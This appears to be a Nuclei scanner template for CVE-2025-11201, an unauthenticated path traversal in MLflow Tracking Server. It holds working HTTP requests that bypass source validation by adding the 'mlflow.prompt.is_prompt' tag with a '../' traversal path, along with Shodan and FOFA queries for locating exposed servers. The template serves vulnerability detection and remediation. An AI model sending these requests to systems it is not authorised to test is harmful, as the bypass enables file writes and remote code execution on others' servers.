MLflow Tracking Server is vulnerable to an unauthenticated path traversal in the model-version creation API. The server validates the `source` parameter and rejects relative/local paths, but skips that validation entirely when the request carries the `mlflow.prompt.is_prompt` tag (the request is then treated as a prompt). An unauthenticated attacker can supply an arbitrary traversal path as the model version `source`, writing attacker-controlled files to arbitrary locations on the server filesystem and achieving remote code execution under the service account. The fix adds an opt-in MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX allowlist; with the default (unset) configuration the bypass remains exploitable even on 2.22.4.
id: CVE-2025-11201
info:
name: MLflow Tracking Server - Unauthenticated Model Source Path Traversal RCE
author: DhiyaneshDk
severity: critical
description: |
MLflow Tracking Server is vulnerable to an unauthenticated path traversal in the model-version creation API. The server validates the `source` parameter and rejects relative/local paths, but skips that validation entirely when the request carries the `mlflow.prompt.is_prompt` tag (the request is then treated as a prompt). An unauthenticated attacker can supply an arbitrary traversal path as the model version `source`, writing attacker-controlled files to arbitrary locations on the server filesystem and achieving remote code execution under the service account. The fix adds an opt-in MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX allowlist; with the default (unset) configuration the bypass remains exploitable even on 2.22.4.
impact: |
Unauthenticated arbitrary file write on the MLflow server, leading to remote code execution under the service account.
remediation: |
Upgrade MLflow and set MLFLOW_CREATE_MODEL_VERSION_SOURCE_VALIDATION_REGEX to a strict allowlist that rejects local/relative source paths, and restrict network access to the Tracking Server to trusted users.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-11201
- https://www.zerodayinitiative.com/advisories/ZDI-25-931/
- https://mallory.ai/vulnerabilities/CVE-2025-11201
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-11201
epss-score: 0.26282
epss-percentile: 0.98016
cwe-id: CWE-22
metadata:
verified: true
max-request: 3
shodan-query: 'http.title:"MLflow"'
fofa-query: 'title="MLflow"'
product: mlflow
vendor: lfprojects
tags: cve,cve2025,mlflow,rce,path-traversal,unauth,intrusive,vkev
variables:
model: "{{to_lower(rand_text_alpha(12))}}"
probe: "{{to_lower(rand_text_alpha(10))}}"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"registered_model"'
internal: true
- type: status
status:
- 200
internal: true
- raw:
- |
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}","source":"/tmp/{{probe}}/../../../../../../../../etc/{{probe}}"}
matchers:
- type: word
part: body
words:
- "Invalid model version source"
internal: true
- raw:
- |
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{model}}","source":"/tmp/{{probe}}/../../../../../../../../etc/{{probe}}","tags":[{"key":"mlflow.prompt.is_prompt","value":"true"}]}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"model_version"'
- 'mlflow.prompt.is_prompt'
- '{{probe}}'
condition: and
- type: status
status:
- 200
# digest: 490a00463044022064828ba18a8dda7c41253dc948cb6025f904d04d5ffc3106a3fef359d67eaed802202086d9971c1f740c30e38464d0ff7103233b8644a1c6ba22450ac3e6c2e7ddba:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.